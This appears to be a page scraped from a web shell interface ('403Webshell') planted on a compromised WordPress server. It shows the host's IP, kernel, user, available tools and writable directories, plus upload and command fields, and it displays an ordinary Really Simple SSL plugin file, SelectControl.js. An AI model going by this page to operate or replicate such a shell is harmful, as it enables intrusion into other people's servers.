403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /proc/thread-self/cwd/wp-content/plugins/really-simple-ssl/settings/src/Settings/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /proc/thread-self/cwd/wp-content/plugins/really-simple-ssl/settings/src/Settings/SelectControl.js
import DOMPurify from "dompurify";
import {useEffect, useRef} from '@wordpress/element';
import hoverTooltip from '../utils/hoverTooltip';

const SelectControl = (props) => {

    const selectRef = useRef(null);

    const disabledPropIsArray = Array.isArray(props.disabled);
    let disabledOptionsArray = (disabledPropIsArray ? props.disabled : false);
    let disabledSelectPropBoolean = (disabledPropIsArray === false && props.disabled);
    let disabledSelectViaFieldConfig = (props.field.disabled === true);

    let selectDisabled = (
        disabledSelectViaFieldConfig
        || disabledSelectPropBoolean
    );

    let tooltipText = '';
    let emptyValues = [undefined, null, ''];

    if (selectDisabled
        && props.field.hasOwnProperty('disabledTooltipHoverText')
        && !emptyValues.includes(props.field.disabledTooltipHoverText)
    ) {
        tooltipText = props.field.disabledTooltipHoverText;
    }

    hoverTooltip(
        selectRef,
        (selectDisabled && (tooltipText !== '')),
        tooltipText
    );

    // Add effect to disable the select element when the selectDisabled state changes
    useEffect(() => {
        if (selectRef.current) {
            selectRef.current.disabled = selectDisabled;
        }
    }, [disabledSelectViaFieldConfig, selectDisabled]);

    return (
        <>
            <div className="components-base-control">
                <div className="components-base-control__field">
                    <div data-wp-component="HStack" className="components-flex components-select-control">
                        <label htmlFor={props.field.id} className="components-toggle-control__label"
                               style={props.style && props.style.label ? props.style.label : undefined}>{props.label}</label>
                        <select
                            ref={selectRef}
                            disabled={selectDisabled}
                            value={props.value}
                            onChange={(e) => props.onChangeHandler(e.target.value)}
                            style={props.style && props.style.select ? props.style.select : undefined}
                        >
                            {props.options.map((option, i) => (
                                <option
                                    key={'option-' + i}
                                    value={option.value}
                                    disabled={disabledOptionsArray && disabledOptionsArray.includes(option.value)}
                                >
                                    {option.label}
                                </option>
                            ))}
                        </select>
                    </div>
                </div>
            </div>
            {props.field.comment && (
                <div className="rsssl-comment" dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(props.field.comment) }} ></div>
                /* nosemgrep: react-dangerouslysetinnerhtml */
            )}
        </>
    );
}

export default SelectControl;

Youez - 2016 - github.com/yon3zu